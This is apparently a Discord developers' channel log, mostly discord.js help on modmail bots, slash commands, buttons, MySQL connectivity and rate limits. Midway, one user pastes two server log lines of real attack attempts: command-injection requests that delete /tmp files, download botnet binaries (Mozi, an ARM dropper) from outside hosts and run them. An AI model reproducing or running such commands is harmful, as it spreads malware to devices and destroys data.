#development
1 messages · Page 1934 of 1
No both are independent events
can you have messageCreate and interactionCreate within one another?
You just answered my question
So, how tf can a bot get a message received from a user.
Uhm
Its a ticket bot ModMail but in DM's.
with messageCreate
as long as your bot isn't in 100+ servers you can freely get the content of a message with the message content intent
but slash commands are different I dont think discord treats them as actual messages.
right fake?
It’s either a message you receive in your message event or an interaction you receive in another event if an user uses a slash command
Okay, so I just literally need to make the messageCreate handle creating the channel and getting the opening message etc sent, then I can add a interactionCreate to do commands in my main file as well?
I don't even know what the original issue was so I can't answer sorry, hopefully someone else can :)
Gimme an example what user actually does
Here are the events in order:
- User Dm's the bot
- The Bot Creats a Channel named their user ID
- Sends a embed to the channel with their opening message
- The staff does /reply <message>
- The bot then finds the user using the channel name
- The bot sends the /reply message to the user
and then its back n' forth
mhm
A DM always allows you to use read the message content
But
Using slash commands here, as well is much more user friendly
mhm
Also something I didn’t get is the channel you wanna create
You wanna have a DM to guild (user ID) channel chat?
Means a support server handles incoming requests in the channels named with the user ID?
Bad idea
Welp, it's the way I gotta make it 🤣
Channel creating limits, max channel limits etc
It's alr, the bot has features/commands to help with that
I think I get what he means
If he is talking about the usual mod mail stuff
But still there’s actually not any issue if you wanna do that using slash commands only
the user would dm the mod mail bot it would create a channel that only staff members can see and they can reply to the user through the bot in their dms
right?
That is how the typical modmail bot works
Yep.
but with non-generic prefix commands, this would be v13 SC's.
(SC's = Slash Commands)
If it is done this way would it really be an issue?
Since the channels would be deleted after closing the ticket anyway
The bot would literally only be added to a 60 Member Server o-o
Which will trigger the channel creating limits per day
But if he wants to, not my issue tho
Still only slash commands
Yeah, I would like too :) o-o
there is channel creating limits?
Has this always been a thing?
Only things you have to keep in mind is if anyone is answering to the user who started the request, use /reply message in the associated channel to deal with it using a slash command
Because I don’t think this will get the message intent
There’s literally no reason
It will be in 1 server.
yea
Yeah heh
which is why I was thinking it was okay
cause he said it was for 1 server only
But still using slash commands in the DM
A lot more user friendly as I said
o-o
What can be more user friendly then just sending a message to a bot
🤔
Why in the server if you can respond by sending a message in the channel (of the user ID)
Because the Staff might wanna have side notes.
Tbh there’s actually no need of commands here at all
So they can discuss what the thread is ab inside the channel.
I alr have that made^
I have a version of that made
Made with djs v11
Nah jk, easily upgradeable.
Only commands I can think of are commands to close the conversation for example
Maybe to categorize it
Let me recommend a slash command to open the ticket a last time
This time speaking about the aspect of spam and bot messages, slash commands can only be used by users and can’t really be spammed
Just to say a last time
Anyways what’s the issue at all if you actually have a plan how it works already?
Oh thats right, a slash command isn't a literal message, it's a empheral command sent by the user but executed by the bot.
Makes sense.
I have no idea, how to literally make it.
lmfao 
That’s why I said use a slash command to open the conversation
And if it’s opened just send over anything the user types
No need for another slash command then
If any user sends a DM your bot check he has an active conversation and if not just ignore the spam
Ikr lol
mhmmh 📓 next?
It’s literally 1000x easily than you think
Your right, I am thinking like 2020200 million different way's to do this.
all involve both messageCreate and interactionCreate
An user enters your /openticket slash cmd in DMs
You add the user ID to your global conversation cache (var)
If an user sends messages to via DM check if his ID is in the cache
If it is transfer it to the channel in your server you created along with the /openticket command
If not just return the messageCreate event because the user has no active conversation and just randomly sends a message via DM
variable …
Makes no sense 
Okay
So
Nvm
I lost my train of thought.
mhm mhm
Ok a last time step by s tep
but you never answered my question.
messageCreate and interactionCreate can go in a index.js?
together?
Yes
An user uses your slash command to open a ticket.
You check if the slash command is sent in a DM.
If so you check if the user has opened the ticket already
You can check if a slash command is sent in DM's?!?
If not you create a channel in your server
Of course, the channel type can always be checked
A text channel like this one?!
OHH
A voice channel
if (message.channel.type === "dm") {
Is it this then:
if (message.channel.type === "dm") {?
That command has to be a global command since users need to use it in DMs
Take a look the the docs idk if just DM is the right string
Yeah but you only register it once
It available forever after until you delete it
Makes sense, alr restroom time, so save this convo for when I get back please 
I guess I’m sleeping then
Won’t take long until I’m at home
Okay, gn
Not yet
I hope there aren’t more question about step 1
You will receive the interaction (slash command) via the interactionCreate event
Check the channel type and if the user already has an active convo
If not creating a channel in your server
If yes send him a message he has an active convo running
Add the user ID to a global var to be able to check anywhere in your code if he has an active conversation running or not
Step 2:
The user can now send messages via DM which will be transferred to your channel
This message content is accessible in the messageCreate event
Since any user can send a DM even without using the openticket command, check if the user ID (message.user.id) is in your active global conversation list I mentioned before
If not return the event
If yes just send the message content to your servers channel
Tbh it actually take longer to explain than code
So something like this:
client.on("messageCreate", async message => {
if (message.channel.type === "dm") {
blah blah blah...
if quick.db - db.fetch(`active_${message.author.id)`)
if(quick.db === null) //Meaning there is nothing in the DB showing a active thread is open return;
client.on("interactionCreate", async interaction => {
if (!interaction.isCommand()) return;
const { commandName } = interaction;
if (commandName === 'openticket') {
await interaction.reply('Opening a Thread!');
<check if user has a active thread open already>
I'm confused on what goes in interactonCreate and messageCreate.
You better not query the database anytime you receive a message event
Imagine if I send 1000 spam messages to your bot
It’s also not needed to define vars if you use them once only
In: messageCreate there is:
- Check to see if they have a active thread.
-- If they don't ignore it.
--- If they do, send that message to the stored channel.
In interactionCreate there is:
- Just the open command.
if(interaction.commandName …
huh?
Not needed to extract the commandName from the interaction object
const { commandName } = interaction
Why?
You use the constant just one time
Not needed to extract the commandName from the interaction object
Unnecessary
So replace
const { commandName } = interaction;
With
if(interaction.commandName);```
Why did you define that constant in the first place?
I mean there only 2 reasons, you know what you do or you don’t which means you copy stuff you don’t understand
The last one will actually not help you in any way to learn things
If without body?
Yeah i assume he didn’t get what I mean
if(interaction.commandName === "openticket") { … }
It’s not like I wanna dictate how you have to code your stuff it’s more like recommending you good practices and stop you from doing unnecessary, weird stuff
Yeah
I mise as well just not do the bot at this point, I have wasted hours of your time, and I still don't get it... sorry.
I will still try
but dk how far Ill get lol
Hmm I explained it very detailed above when you did your break
and I read it, but I don't think Ik how to code all that.
Or simply embed.description = "text"
embed.setDescription(owoify("text"))
Wtf is owoify
annoying command that weebifies some text
Omg why did I ask
Nope, I ported it to java
So it just transforms text requiring text as argument
I kept only the normal level
Actually, I ported the base lib, uwuifier
Owoify is an extension of it
I wanna tell you, you are all weird! 
For that lib u can also supply distortion level
At uvu it becomes unreadable
Still searching the justified reason for its existence

They questioned whether they could, but forgot to question whether they should
Yeah lol
const owoify = require ("owoify-js").default
return message.reply(owoify(`${message.content}`));
depends on your code lol
I love the description of the owoify-js package
Turning my worst nightmare into a NPM package. This nifty little library helps you turn any string into nonsensical babyspeak similar to the infamous Chrome extension by LeafySweets (which has been deleted
unfortunately).
try that?
wait.............
are you on discord.js v12....
....................
...........................................
i am so disappointed
what do you mean why
right, if that's how you view it
it's common practice to stay up-to-date with your bots library
so you're trying to do an embed, or did i misunderstand
const { MessageEmbed } = require ('discord.js');
const owoify = require ('owoify-js').default;
const owoEmbed = new MessageEmbed()
.setDescription(owoify(`${message.content}`))
return message.channel.send(owoEmbed);
and lagggggggingggggg
If you're using v13 of djs that won't work
read his messages lol
Too much effort

then why comment 
Cause it was helpful
false
I saw code and responded to what I thought the situation was
assuming something without context != helpful
You're not helpful
Rekted nerd
Anyway continue I'ma go watch anime
which anime
i'm not coding lol
watch boku no pico is happier anime
more common to see =/= when just texting
have you watched it 
No idea yet I have already finished every anime I've started
Oh, no.
my brother tell me
watch that anime
is cute anime happier ending happy
like Doraemon
:'(
and i watch and ... nothing
how about eureka seven
Looks lame
aw
My hero academia sucks
😔
watch Tensei shitara Slime Datta Ken ss2
?
"fix" and "mysql" shouldn't be in the same phrase
Execute block is what u want
But why?
Usually you'd make a procedure for that
Que
If you’re using SQL then yes you can use query inside a query or if it’s just about the result use JOINS
Wow what a grammar
easy's often not the best way to approach problems
Hmm isn’t the first working solution always the best?
I don't even need to explain this for you to understand.
Aye 
Exactly what I meant
client.on('message', async message => {
if(message.content === '!setup'){
const row = new MessageActionRow()
.addComponents(
new MessageButton()
.setCustomId('primary')
.setLabel("Test")
.setStyle("TEST")
)
const embed = new discord.MessageEmbed()
.setTitle('Test')
.setDescription('Click on `Test` Button To Get BOSS Role')
.setColor('RED')
message.channel.send({
embeds : [embed],
components : [row]
})
}
})```
TEST style is not available?
mean
https://discord.com/developers/docs/interactions/message-components#button-object-button-styles & https://discord.js.org/#/docs/main/stable/typedef/MessageButtonStyle
Integrate your service with Discord — whether it's a bot or a game or whatever your wildest imagination can come up with.
np
so for interaction ?
so i had the code that checks if someone voted the bot...
but how can i test it?
i dont have alts to vote it many times
wdym
i wanna do click on button and get the role 👀 (first time trying v13)
Fix the style first
And then use a component collector
Or use the interaction create event and check the button ID since you're doing button roles
if you're replying from interaction, then you can use component collector, but not from message ig
Yes
It checks for manageable which checks for the hierarchy
https://github.com/discordjs/discord.js/blob/main/src/structures/GuildMember.js#L240-L242
https://github.com/discordjs/discord.js/blob/main/src/structures/GuildMember.js#L218-L224
if(button.id == 'primary') {
button.reply.send("Added the role", true)
const role = button.guild.roles.cache.get("865882643551748097")
const member = button.clicker.member
await member.roles.add(role)
}
})```
yes
I see
You also need to respond to the interaction in order to avoid that error
I'm not sure that button.reply.send() does
this time i didnt got any error but its says interaction failed
Where did you find that method?
also clickButton event exist?
i had used it in discord-buttons v12 👀
Are you using discord-buttons or something?
Ah
Yeah I dunno
You should be using v13 by now
😂 i really dont know how to do that in v13 xd
It has components support
excuse me..
uh.. where?
any recommended way to reduce ram for my bot? im using the latest discord.js, and im over 2gb ram with around 700 servers
like, it there some cache options i can define so it doesnt cache anything? or something? lol
im not storing anything in cache
thats the problem
lol
like, discord.js cache's a bunch of junk behind the scenes
i want it not to 😄
client.on('interactionCreate', interaction => {
if (!interaction.isButton())
if(button.id == 'primary') {
button.reply.send("Added the role", true)
const role = button.guild.roles.cache.get("865882643551748097")
const member = button.clicker.member
await member.roles.add(role)
}
});```
...next to the save button?
button.reply.send() isn't a method in v13
Where did you define button even?
defer?
Log what interaction is
k
member should be interaction.member
i got to know how to reply a button just how can we connect interation with button?
client.on('interactionCreate', interaction => {
if (!interaction.isButton())
if(button.id == 'primary') {
interaction.reply.send({ content: 'Pong!', ephemeral: true })
}
});```
interaction.reply()
isnt that only 1 time use 👀
No
client.on('interactionCreate', interaction => {
if (!interaction.isButton())
interaction.reply.send({ content: 'Pong!', ephemeral: true })
});```
because your if statement will work if its not a button
😑 oh
also its not reply.send
removed !
just reply
np
No, it wont work bcz that function will f* with the json formatting and the "name, value, inline" parameters
I think it would work this way
.addFields({
name: owoify("Moderation Commands:"),
value: "xyz",
inline: false,
})
Yep
one more thing!
client.on('interactionCreate', async interaction => {
if (interaction.isButton())
interaction.reply({ content: 'Pong!', ephemeral: true })
const role = interation.guild.roles.cache.get("865882643551748097")
const member = interation.clicker.member
await member.roles.add(role)
});```
```fix
const role = interation.guild.roles.cache.get("865882643551748097")
^
ReferenceError: interation is not defined```
👀
read the error, it says that the bot is missing permission
Hey guys
how can I change this color of text from black to white
I am using materialize
I cannot find any setting for the same
<div class="input-field col s6">
<i class="material-icons prefix">color_lens</i>
<input id="icon_prefix" placeholder="Eg: #FFFFFF" type="text" class="validate center-align primary color1"/>
<label for="icon_prefix">Like Color</label>
</div>
<div class="input-field col s6">
<i class="material-icons prefix">color_lens</i>
<input id="icon_prefix" placeholder="Eg: #808080" type="text" class="validate center-align primary color2"/>
<label for="icon_prefix">Dislike Color</label>
</div>
input { color: white; }
they are not using css
also the html semantics have skill issue
oh my bad
what
is it true that it takes up to 1hr to register slash commands on every guilds that my bot in? I'm about to convert my commands to slash commands
yes that's right
oh, ty ❤️ but what should I do if it actually takes 1hr? I mean all my message commands will be deprecated ofc they wont work anymore
maybe you can try registering it first before you update your bot
ok one more question. When the bot gets invited to new server, do I have to register my slash commands again or this thing gets updated automatically?
If you need to test them, use guild commands
nope, it'll be updated automatically
np :)
Can anyone assist me
with this
hilarious
sure
bot has admin xd
addrole! to add role though
role position
lol
maybe you're giving role to the server's owner
are regular prefix commands no longer supported? are slash commands the recommended way now?
soon™️
ooohhh, so we will get slash command content, but not regular message content?
You will still get the content when mentioning the bot
but no real prefix type command support?
But interactions are recommended to use anyways
makes sense. so mcuh info can be gained from message content
yea, but its been like 2 years since i wrote my bot and now im updating it
so one thing at a time 😄
Well just see the bot mention as prefix then
You decide what you wanna use but without mentioning the bot there’s no message content in the received event, as well as no attachments, etc.
Wym?
message.member.banner = undefined ?
524 undefined in sdk
Running double instance?
Site was down
buttons
u want the buttons right?
its discord's buttons feature
oh you mean fix the duplicate message?
show code
doesn't matter a link button is still a message button, just of type link
mmmh don't see any issue with the code in first glance, maybe you're double instancing?
do you by any chance have a second instance of your bot running?
if you go into task manager and look for nodejs
end them all and then restart your bot
that could fix it
in task manager
ctrl shift esc
then if u press n
it will go to all tasks starting with N
and close the nodejs ones
that doesn't rlly change anything
81.213.214.192 - - [06/Dec/2021:13:38:50 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 185.245.96.227/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws" 400 20 "-" "-"

Lol
wait... for it
61.242.40.177 - - [06/Dec/2021:06:56:34 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 403 18 "-" "-"
looks like Netgear devices (routers?!) like to share their current settings
wtf
i didnt know shell injection was even a thing
thats next level sql injection
lmao
I wonder what port 8088 is... a remote shell interface?!
what
you can litterally open ssh access for the thing you are using if its not already open
throw your netgear router away, now! 
i dont have any netgears
just to say
only had a netgear router once, and it sucked so bad
my router prob uses lua
lmao
I mean I saw many interessting requests over the years but that's new
lmao
it keeps getting connection issues
sometimes its the wifi, other times is the line itself
doesn't mean the whole firmware is build on php
you, damn spy
it was horrible this morning
then it suddenly got better at noon
then dc'd around 12:08
i might be able to clone my routers webpage but what will it do lmao
you really left the eu?
damn... maybe star link will become an alternative thing for you in the future
yeah too expensive atm
im waiting for fiber to come, it might come in the next couple years
technically there is already fiber here, run my one of those small local ISPs that distribute business grade links
but they dont even let you use you own router
you have to use theirs, and its locked, and you have to ask them to even change your wifi's name
I somehow wonder about moving over there anyways but hmm...
lmao
As an employee at a company that doesnt do this but uses draytek routers (fucking ew) chances are you can flash it and you'll just get charged the cost of the router
That's always an issue even with other manufactures
afaik their routers are MAC checked and use PPPoE
Even changing the config file to change the DNS servers for exmaple since they're hidden in the UI is against their ToS
so i'd need to clone their mac addresses and somehow extract the pppoe credentials
hm
without the admin password
What are they so scared of you doing
lol is there even an ISP don't checking for the CM-Mac?
my work handed me the pppoe creds so I could setup my own router lmfao
yes, mine
if i just reset the router, it will stop working
and most in the UK
oh... seems to be different from country to country then
mhm
not possible over here
regular DSL routers from big ISPs here dont check macs
you have literally no way to get into the cable network
and they give you the pppoe credentials
so you can use whatever modem/router you want
but not these small local fiber ISPs
If you only had fiber...
I'm waiting for it, too but I guess it won't happen the next 10y over here
last i heard, the big ISP in this region is installing fiber in a town 150km from here
I mean I theoretically have 1GBit/s but the upload is... urg
hopefully they expand towards here over the next couple years
untill then, its either local ISPs or ADSL from the big ISP
yeah, thats what it was supposed to be like
but mine's been absolute grbage
lmao

got a technician over last week
back to EU then
he changed some stuff on the DSLAM, got quality a bit up, but its still shit
attenuation is too high
Next time lock the door until it works perfectly
lmao
how would i have a exec command that just running like !test would run exec and a command at the end on the hosting server
anyone know why that is happening?
the only thing i could think of being a cause is the mysql connection
but it worked fully yesterday
did you forget an await?
simple don't use json
what would i use to check if author is allowed?
check if they exist in the admin list
k
i await all mysql connections
send a message if it connects
also handle it not connecting and log/send a message
i checked another of my sites using mysql on same webserver and no issue
i made it log in console
as this runs on vps
not webserver
alr it doesn't connect
make sure you are putting the correct values
i am
it took me over 30 commits to figure out I was putting port in the username and the username as the port
https://ithundxr.games/GcfHTY9Z how would i add multiple ids here?
https://github.com/RileCraft/DiscordBot-Template using this template cause i only need this bot for eval
like how to have multiple things in an array?
yea
729314128879157318, 893887754830770226, 694604709591384226 need these ids to have owner perms
k ty
If you’re trying to check for perms just use <Array>.includes()
If the array (in this case loaded from your json file) contains whatever parameter you specify in the includes, it’ll return true, if it doesn’t, then returns false
?
reporting someone maybe?
oh lmao why did they even paste that
true
What is this code
trash code......
Bro just learn d.js check discord.js guide
it doesn't look that bad
yes
it's bad
@spark flint it looks like your node code
kek
tabs/spaces
yes
really? spaces and tabs are the best thing to complain about?
how about the parameters to the on method being incorrect
When looping through all the members in a server, after around 200-300 members the bot sort of gets “stuck” and doesn’t change the nicknames of all the other people.
rate limit
Ah R.I.P.
How would I get around it? Or do I have to manually change the nicks for the rest of the people?
You can add a timeout when changing nicks
You should ask yourself why the fuck you need to change the usernames of so many people in the first place
😄
ELO nicks
So everyone has their own nick
How would you remove the buttons off a embed if they click no?
Like if they click yes, it will proceed with whats under if(b.id === 'yes') {...} but if they click no it would remove the "yes" button. Nvm
@boreal iron Hello again, it worked.
Nvm, I can just set it disabled... I think
const { SlashCommandBuilder } = require('@discordjs/builders');
const Discord = require('discord.js')
const disbut = require('discord-buttons');
const { MessageActionRow, MessageButton } = require("discord-buttons");
module.exports = {
data: new SlashCommandBuilder()
.setName('ban')
.setDescription('Replies with Pong!')
.addUserOption(option => option.setName('user').setDescription('Select a User to Ban.'))
.addStringOption(option => option.setName('reason').setDescription('Include a Ban Reason.')),
async execute(interaction, message) {
}
}```
```java
**ERROR:**
/home/runner/Staff-Manager/node_modules/discord-buttons/src/v12/Classes/APIMessage.js:9
class sendAPICallback extends dAPIMessage {
^
TypeError: Class extends value undefined is not a constructor or null
at Object.<anonymous> (/home/runner/Staff-Manager/node_modules/discord-buttons/src/v12/Classes/APIMessage.js:9:31)
whats your discord.js version?
v13
then dont use discord-buttons
What do I use then? 🤣
Do those allow collectors as well?
yes
Ah alr
Cracks knuckles
Those docs, don't show how to use it lmfao
What is filter?
const filter = i => i.customId === 'primary' && i.user.id === '122157285790187530';
const collector = interaction.channel.createMessageComponentCollector({ filter, time: 15000 });
collector.on('collect', async i => {
if (i.customId === 'primary') {
await i.update({ content: 'A button was clicked!', components: [] });
}
});```
what is primary? 🤣
Why is there a user id?
how do i force amazon to fix this?
https://github.com/aws/aws-sam-cli/pull/749
maybe i can make my own build with that guys pr
You just edit the message of the interaction and set components to null
interaction.channel is the channel obviously and .message the property to get the content from to edit it and remove the components
Huh what?
You can't use slash commands & buttons?
You mean buttons as response of an interaction (slash command)?
Of course you can.
Yeah, but it's not working.
const row = new MessageActionRow().addComponents(
new MessageButton()
.setLabel("YES")
.setStyle('SUCCESS')
.setCustomId('yes'),
new MessageButton()
.setLabel('No')
.setStyle('DANGER')
.setCustomId('no')
);
interaction.channel.send({ content:`Are you sure?`, ephemeral: true, components: [row] })
Means you don’t respond to the event if a button was pressed
When pressing that button you will receive another interaction event
Means you don’t respond to the event if a button was pressed
What?
I explained why above
It is responding
Use interaction.reply
Yep yep, ty
You just send a message to the channel which has nothing to do with the interaction at all
Obviously a timeout
What’s the corresponding code line mentioned in the stack trace?
Error
/home/runner/Staff-Manager/node_modules/discord.js/src/rest/RequestHandler.js:349
throw new DiscordAPIError(data, res.status, request);
^
DiscordAPIError: Unknown interaction```
const row = new MessageActionRow().addComponents(
new MessageButton()
.setLabel("YES")
.setStyle('SUCCESS')
.setCustomId('yes'),
new MessageButton()
.setLabel('No')
.setStyle('DANGER')
.setCustomId('no')
);
interaction.reply({ content:`Are you sure?`, components: [row], })
const filter = (interaction) => {
if(interaction.user.id === message.author.id) return true;
return interaction.reply({ content: "You can't use this button" })
}
const collector = message.channel.createMessageComponentCollector({ filter,
max: 1,
})
collector.on('end', (ButtonInteraction) => {
console.log(ButtonInteraction.first().customId)
})```
thats all i get
The interaction is only available for 3s
You have to defer it if your response needs more than 3s
OHH
const connection = await mysql.createConnection({host:'host url', user: 'username', password: "user password", database: 'database', Promise: bluebird});
const data = await connection.execute('SELECT * FROM `images` WHERE `id` = ?', [img]);
const pagedata = await connection.execute('SELECT * FROM `api` WHERE `userid` = ?', [data[0][0].userid]);
thats the code
for the sql bit which fails
You’re trying to connect to an external MySQL server, right?
Looks like it doesn’t even respond, means the servers firewall is blocking you for example
yep
i'll try contact the hosting company now as i can access from my pc
Does it use the default port 3306?
If not you have to specify that in the connection options
yes
If you would enter wrong credentials or the server would return the connection you would get a proper error message.
yep i tried
Yeah you’re not able to contact the MySQL then most likely
If so and you haven’t access to it, it would respond with a connection refused
AH i seee the issue
Wrong hostname?
Yeah what I assumed in the beginning
Usually servers aren’t exposed to the net
Well then add the IP your request comes from and you’re able to connect
jsut whitelisted it, will test now
Also make sure the users are allowed to connect from any host other than localhost
The placeholder is %
this is different
the ip was already mysql whitelisted
this was fully blocked from accessing the webserver
Huh what? Don’t get the last one
the server has a firewall
and this was blocked on the firewall
completely seperate to the mysql bit
Which one are you talking about now?
the database hosting
The webserver?
yep
Ah
webserver
Wtf
just whitelisted it
probs because it sent too many requests
i get flagged up myself sometimes and you need to do a captcha
The database needs a firewall rule for INCOMING requests from your webserver
?
the url
Can’t see anything
yeah its just a ss
before it was running a temporary page which didn't get data from the database
Ah the image site
yep
lol
Spanish and English?
Code
const row = new MessageActionRow().addComponents(
new MessageButton()
.setLabel("YES")
.setStyle('SUCCESS')
.setCustomId('yes'),
new MessageButton()
.setLabel('No')
.setStyle('DANGER')
.setCustomId('no')
);
interaction.reply({ content:`Are you sure?`, components: [row], })
const filter = (interaction) => {
if(interaction.user.id === message.author.id) return true;
return interaction.reply({ content: "You can't use this button" })
}
const collector = message.channel.createMessageComponentCollector({ filter,
max: 1,
})
collector.on('end', (ButtonInteraction) => {
const id = ButtonInteraction.first().customId;
if(id === 'yes') return ButtonInteraction.first().reply(`Banned!`)
if(id === 'no') return ButtonInteraction.first().reply('Cancelled Interaction.')
})
Error
/home/runner/Staff-Manager/node_modules/discord.js/src/rest/RequestHandler.js:349
throw new DiscordAPIError(data, res.status, request);
^
DiscordAPIError: Unknown interaction```
@boreal iron
Be patient
Don't ping people for help
my bad
When getting the user through the cache, it returns undefined for some reason. I’ve also tried instead of inserting every user’s ID into an array changing their nickname through that loop instead, but then I get rate limited.
Members aren't always cached
You can turn the guild members intent on and fetch the member
Also, this is not a good idea to begin with cause yes you'll get ratelimited if you change em all at once
Yea I have it on. I think I’m using .fetch correctly
Ah. I mean it’d be a pain to change every person’s nick manually lol
Yep seems like you fetched correctly
Well hmm I'm not sure the most effective way to change a large amount of people's nicknames other than to not do it every 2s cause that's dumb
You'll obviously get ratelimited if you change every 2 seconds
I could just do every 10 lol
Just that rn each member is returning undefined
Which confuses me since when outputting the ID it returns the correct value
I’m only changing everyone’s nickname once anyways so just doing it every 10 sec is fine
I can't see as of right now why it's returning undefined on my phone but I can advise not to change every 2s
Aight. Thanks I’ll change it to a higher value
This pinned message may be informative. #development message
.... Can someone assist?
const collector = message.channel.createMessageComponentCollector({ filter,
max: 1,
})
not message.channel its interaction
You might be trying to respond to an interaction that has expired.
I just needed to replace message w/interaction
I had 2 of em hidden in there by accident.
💯 ty
That’s interesting... I’d think it would throw a syntax error given message isn’t defined then
You need to defer the interaction as I said since you create a collector.
An interaction is only available for 3s.
After deferring it, it’s active for 15 min
It needs to be only 3s.
As if it not, then they can click yes and no.
They need to only choose 1 option
Huh why not…
We were in conversation.
Makes sense to ping
Which one actually returns the error in your code?
Hard to figure it out on mobile
(which reply)
None.
I fixed it lol.

ah
i dont want to manaully change every user's username tho lol
especailly with 700+ ppl
Whatever you wanna do with usernames in terms of an "elo" you mentioned, think about a different way
For example roles and colors
interaction.member.tag```
Why does this return `undefiend`?
i kinda have to change the nicknames
im making a ranked server which uses nicknames and sql to store elo, but nicks to display it on discord
users have tags members not
sorry im a bit confused ahaha. i think i get what ur saying but i dont understand the correlation
Instead of changing user names to display a rank, just create roles and assign to the members
To identify which members has which rank in your database, use the unique user ID and also store the roles in your database
thats what im doing. i have different divisions that display the users rank that updates every time they finish a game, but i want to change the user's nickname based on their elo
Since roles can have different colors you can easily sort/check which rank a member has
Or by clicking on the member to see the role name which can be the rank name
yea. idk the system i have is working fine, just that im just trying to reset roles, nicks, etc.
You will always run into rate limits as changing the user name is not supposed to happen every few minutes/hours whatever for many users
yea it isnt intended for discord
That’s why I said assign/remove roles which are your ranks
That’s the easiest solution
aight. ill look into it. thx
How do I make a slash command un-optional aka required to mention a user etc..
Just add required: true to the options (of your option) 
Also the types can be found here or on the dev portal:
.addUserOption(option => option.setName('user')
.setDescription('Select a User to Kick.'), required: true)```
/home/runner/Staff-Manager/commands/kick.js:9
.setDescription('Select a User to Kick.'), required: true)
^^^^^^^^
SyntaxError: missing ) after argument list```
Dunno how the method is called for the helper but meanwhile just add the property yourself
option.required = true
.addUserOption(option =>
{
option.setName('user').setDescription('Select a User to Kick.');
option.required = true;
}
Maybe it’s called setRequired() ?!
Idk
Take a look at the docs, I’m gonna sleep
hey so umm, im trying to replace ../../module/index imports with module/index but for some reason when i try to start the app it fails with module not found.. I've added the rootDir and baseUrl to be src in my tsconfig file and while importing it, it autofills the paths....
yeah whatever the imports... i want to import "module/index" instead
ye i've mentioned it in tsconfig
the rootdir and baseurl
does it not work?
TS, wouldn't know. I use djs, been a while since I've used TS
when i start typing "modu" it shows me it can import
typescript
lol
mhm
someone else will help, maybe
nvm
Hey, my bot needs to fetch ids of all members of a guild to work. so is there any privileged gateway intent i need?
if it's about members, then GUILD_MEMBERS
The privileged member intent
Keep in mind that needs a verification if your bot is in more than 75 guilds
With a valid reason
so my bot has 100 servers right now and unable to add to more servers cause of no verification
so i currently had all intents ticked in development
but now they are asking which ones i need and why
Yeah you need a valid reason for each intent or it will be declined
and tell them why you need it
like i want to use it for ... command, for ... feature
and how it works
Why do you actually need to fetch all members? What’s the reason for?
okay, so my bot is like a leaderboard
its an extension for vscode which tracks the time u spend in vscode. and the bot displays that in discord
And what’s the reason to fetch all members then?
to display guild leaderboards. im taking all members of guild and checking if they use my extension. if yes, i join it and display leaderboard
nope
Well… I doubt you will get the intent then but I’m not discord ofc
thats sad
I mean just try it, a verification is required anyways to get into more guilds
yea
okay, ill try it once
I don't think getting every member is necessary
most people are inactive and those who are active are already cached
this is the approach i used
this one
Does someone know an easy to use and good looking documentation software? F.e. discordjs or top.gg docs are very nice
Free to use would be good

Is your code written in ts or js? Also are you looking for a tool which generates docs automatically or do you want to write everything yourself?
#plug
not yet lol
doesn‘t matter, I just want to be able to document my stuff in a clean way
okay but is your code in js or ts
doesn‘t matter too xD
it kinda does tho, if you use typescript you can use typedoc, if you use JS jsdoc
how can i change bot pfp on website??
if i am hosting from pc then what should the link be?
random c++ question but our prof gave us
int [] a = new int[ arraySize ];```
but this errors because of `int [] a`
is it supposed to be
```cpp
int* a = new int [arraySize];```?
(arraySize is just an int)
use case is for examining cache misses and running time when changing step size
pretty sure yeah
The second one is creating a pointer to the array, the first one is creating the value and it would be correct if you removed the new AFAIK
for the first one, this is the warning/error i get
oh yeah if you just want an empty array with a specific length do int a[len]
I mean a software in general where I can document everything. Installations, Code, API etc
i think what it's trying to do is dynamically create arrays or something?
tbf i dont really understand c++ lol
just sorta expected the first line to work cuz i've seen it in different code formatted exactly like that and it worked fine there
I recommend using a vector instead of handling the array yourself via pointers
tis an assignment, gotta do it this way 
well there's 2 parts to it but rn im doing p1
essentially i have to time the for loop and give arraySize and stepSize (both ints) a whatever number. array should be big enough so that there will be a lot of cache misses
ok nvm i think i got p1 down
Would anyone like to develop this to be more fun, and interactive instead of just 5 lines of code?
no
step 1: download nodejs
docusaurus
gitbook
jsdoc
man7
all are great
Because javascript
ah
I‘m not sure between GitBook, Retype, Docusaurus. Any recommendations? I haven‘t used any of‘em yet
yeah I think I choose docusaurus
I have a problem. I have 1 VPS with good specs.
Now I don‘t know how I should strucuture my server… I want:
- dev servers
- host things like docusaurus and other software
- host own sites
and I want to have domain alias for these things (I get this but it has to do with the structure)
just run some kind of linux and make a folder for each project
and a webserver like nginx for routing
or if you like containerizing stuff, run each project with docker
I think your prof thought they were writing Java
Okay.. uh.. hi.. again.. uuuh
So.. i have a discord bot.. and it crashes sometimes.. i also have a crashlogger running.. the problem is.. sometimes it crashes without logging anything
My question is.. how can i reliable log Crashes and then maybe automaticly restart it?
node has a second package manager?!?!?!?!
Uh nice. it also has a "Web Interface"
And what about the logging part? I use crashcollector and its the first thing that gets loaded in the script. But sometimes it seems to crash without logging :/
oh ffs.. sorry for the ping
could someone help me in #topgg-api pls
why is my bot a time traveler?
????
when i store something in the db sometimes after a day it returns to a older version
why is my bot a failure
like if i had 50 coins and i add 5000 sometimes it restores to 50 instead of letting be 5000
you dont work on your bot enough
maybe it's because it's written in python
maybe
but yeah i'm using v12 and i'm too noob at this and my bot's being a succeed
Hi so my Heroku push failed because of unrecognized error anyone knows how to fix this?
like 1.5 years of learning copy pasting, experimenting and not learning by tutorials
race condition
Hi so my Heroku push failed because of unrecognized error anyone knows how to fix this?
how's that
you don't need to ask the same thing 2 minutes later
give something to be analyzed like the actual error
just "my code errored" isn't enought to even start debugging
consider the following scenario:
- A has 3 cookies
- A bought a pack with 2 cookies and a pack with 5 cookies, but the third pack will arrive 1 day after the second pack
- How many cookies will A have when the third pack arrives?
answer: 3 cookies
oh
why? because both started when A had 3 cookies, and they don't acknowledge each other
so second and third packs thing A has 3 cookies
so it'll go like this:
- 2nd pack: 3 + 2 = 5
- 3rd pack: 3 + 5 = 8
since 3rd pack arrived later, it'll be the value saved
a print at least
oh ok
to counter that, you either need to refresh the current value before adding coins or make it impossible for two transactions to happen at the same time
did you try that code locally?
try running it locally before pushing to heroku, if the problem doesn't happen locally it'll mean it's an issue regarding heroku
It fixed it thanks
yw
await users.map(async (abc) => {
await wait(1000);
if(hedef === "bots")
{
if(abc.bot === false)
